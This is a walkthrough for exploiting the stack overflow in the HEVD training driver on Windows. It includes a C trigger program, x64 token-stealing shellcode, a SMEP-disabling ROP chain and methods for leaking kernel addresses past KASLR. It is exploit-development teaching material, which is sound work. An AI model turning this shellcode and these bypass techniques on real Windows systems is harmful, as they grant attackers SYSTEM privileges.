HEVD stack overflow — walkthrough
TL;DR: HEVD’s StackOverflow IOCTL takes a user buffer and copies it into a fixed-size kernel stack buffer without bounds checking → kernel stack BOF. Exploitation: control RIP via the saved return address, build a ROP chain that disables SMEP,
commit_creds-equivalent via token swap, return to userland viaswapgs; iretq. This is the canonical Windows kernel exploit walkthrough and the gateway to every other HEVD bug class. Companion to kernel-stack-overflow, smep-smap-overview, token-stealing-payloads.
Lab setup
- Windows 10 / 11 VM (Build matters — pick a known HEVD-tested build).
- WinDbg + kernel debugging enabled. See kernel-debugging-with-windbg.
- HEVD.sys driver installed and started (
sc create hevd binPath= C:\HEVD.sys type= kernel; sc start hevd). - Disable Driver Signature Enforcement (
bcdedit /set testsigning on). - Disable HVCI / VBS for the walkthrough (re-enable later for the vbs-hvci-bypass-walkthrough).
- Two-VM setup: target with HEVD, host with WinDbg.
Step 1 — find the IOCTL
HEVD source (open-source) defines IOCTL_HEVD_STACK_OVERFLOW. From IDA / Ghidra on HEVD.sys:
1
2
3
case 0x222003: {
return TriggerStackOverflow(SystemBuffer, InputBufferLength);
}
TriggerStackOverflow:
1
2
3
4
5
6
NTSTATUS TriggerStackOverflow(_In_ PVOID UserBuffer, _In_ SIZE_T Size) {
ULONG KernelBuffer[512] = { 0 }; // 2048 bytes on stack
ProbeForRead(UserBuffer, sizeof(KernelBuffer), sizeof(ULONG));
RtlCopyMemory(KernelBuffer, UserBuffer, Size); // ← BUG: Size attacker-controlled
return STATUS_SUCCESS;
}
Step 2 — userland trigger
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
#include <stdio.h>
#define IOCTL_STACK_OVERFLOW 0x222003
int main() {
HANDLE h = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) { printf("open: %lu\n", GetLastError()); return 1; }
BYTE buf[3000];
memset(buf, 'A', sizeof(buf));
DWORD ret;
DeviceIoControl(h, IOCTL_STACK_OVERFLOW, buf, sizeof(buf), NULL, 0, &ret, NULL);
return 0;
}
Run; WinDbg should catch a BSOD with KERNEL_MODE_EXCEPTION_NOT_HANDLED and RIP = 0x4141414141414141.
Step 3 — find offset to RIP
Cyclic pattern works identically to userland BOF — use msf-pattern_create (long enough; kernel stack has more padding):
1
msf-pattern_create -l 3000 > pat.bin
Send as the IOCTL buffer; WinDbg shows RIP = 0x4163416541664167. msf-pattern_offset -q 4167416641654163 → offset 2080 (varies by Windows build; expect 2080-2096).
Step 4 — choose payload location
The canonical kernel BOF payload approach with SMEP off: place shellcode in user space, set RIP to user address. With SMEP on, the kernel can’t execute user pages — need ROP, see Step 6.
For the first iteration, walk through SMEP-off so the mechanic is clear.
1
2
3
PVOID shellcode_area = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_area, token_steal_shellcode, sizeof(token_steal_shellcode));
Then set the saved RIP to shellcode_area.
Step 5 — token-stealing shellcode
The Windows kernel root primitive: locate the SYSTEM process’s Token field; copy it into the current process’s Token field.
Manual x64 shellcode:
; assume RCX = EPROCESS of current process at entry
mov rax, qword ptr gs:[0x188] ; KTHREAD
mov rax, qword ptr [rax + 0xB8] ; EPROCESS = KTHREAD->ApcState.Process
mov rcx, rax ; save current
.find_system:
mov rax, qword ptr [rax + 0x448] ; ActiveProcessLinks.Flink (offset varies by Win build)
sub rax, 0x448
mov rdx, qword ptr [rax + 0x440] ; UniqueProcessId
cmp rdx, 4 ; PID 4 = SYSTEM
jne .find_system
mov rax, qword ptr [rax + 0x4B8] ; SYSTEM.Token
and al, 0xF0 ; clear reference-count bits
mov qword ptr [rcx + 0x4B8], rax ; current.Token = SYSTEM.Token
Offsets vary across Windows builds — extract from your target build with kd> dt nt!_EPROCESS.
After token swap, return to userland gracefully:
; restore RBP, return; for kernel stack frame, that's the return saved by RtlCopyMemory's caller
xor eax, eax
add rsp, 8
ret
For more robust return, do a swapgs; iretq chain that restores user CS/SS/RFLAGS/RSP.
Step 6 — SMEP-on variant: ROP chain
When SMEP is enabled (default on modern Windows), executing user shellcode from kernel mode triggers SMEP violation.
Two strategies:
- Disable SMEP via ROP: use a kernel gadget that writes to CR4 to clear bit 20 (SMEP) → fall through to user shellcode.
- Keep payload in kernel: place shellcode in kernel pool, leak its address.
The classic SMEP-disable gadget:
mov cr4, rax ; ret
Found in nt!HvlEndSystemInterrupt and various other places. Set RAX = original CR4 with bit 20 cleared, then jump to it.
ROP chain:
1
2
3
4
[saved RIP] → pop rax; ret
[new CR4 value] → 0x506f8 (typical; SMEP bit 20 cleared, rest of bits preserved)
→ mov cr4, rax; ret
→ address of user-mode shellcode
Find gadgets:
1
2
3
kd> !for_each_module .echo @#ModuleName
kd> .reload /f
# Use ROPgadget on the extracted ntoskrnl.exe
Step 7 — KASLR
Kernel base randomises per boot. Leak via:
NtQuerySystemInformationwithSystemModuleInformation(requires Medium IL or higher in modern builds — many leaks closed).NtQuerySystemInformationwithSystemExtendedHandleInformationfor token addresses.- HEVD’s own bugs (e.g.,
IntegerOverflowreturns the stack contents partially — leaks kernel pointers).
Once base is known, gadget offsets resolve.
Step 8 — fire
1
trigger.exe
If everything is correct: whoami after the exploit returns NT AUTHORITY\SYSTEM. WinDbg shows the kernel stack ROP chain executing.
Common failures
| Symptom | Fix |
|---|---|
| BSOD at random RIP after first ROP gadget | wrong gadget offset; reload symbols |
BSOD IRQL_NOT_LESS_OR_EQUAL | likely paged-pool reference after RET; restore stack before exit |
| Token swap succeeds but shell still non-admin | offset to Token field wrong for build; recheck _EPROCESS |
| SMEP violation despite ROP | CR4 value wrong; preserved bits matter |
After this works
Move on to:
- hevd-pool-overflow-walkthrough
- hevd-uaf-walkthrough
- hevd-type-confusion-walkthrough
- vbs-hvci-bypass-walkthrough (re-enable VBS, find a different path)
References
- HackSysTeam HEVD
- b33f.net — HEVD writeups
- Connor McGarr — Windows Kernel Exploitation
- Cesar Cerrudo / Argeniss — token-stealing primitive
- OSEE / EXP-401 syllabus
- See also: kernel-stack-overflow, kernel-debugging-with-windbg, smep-smap-overview, token-stealing-payloads, hevd-pool-overflow-walkthrough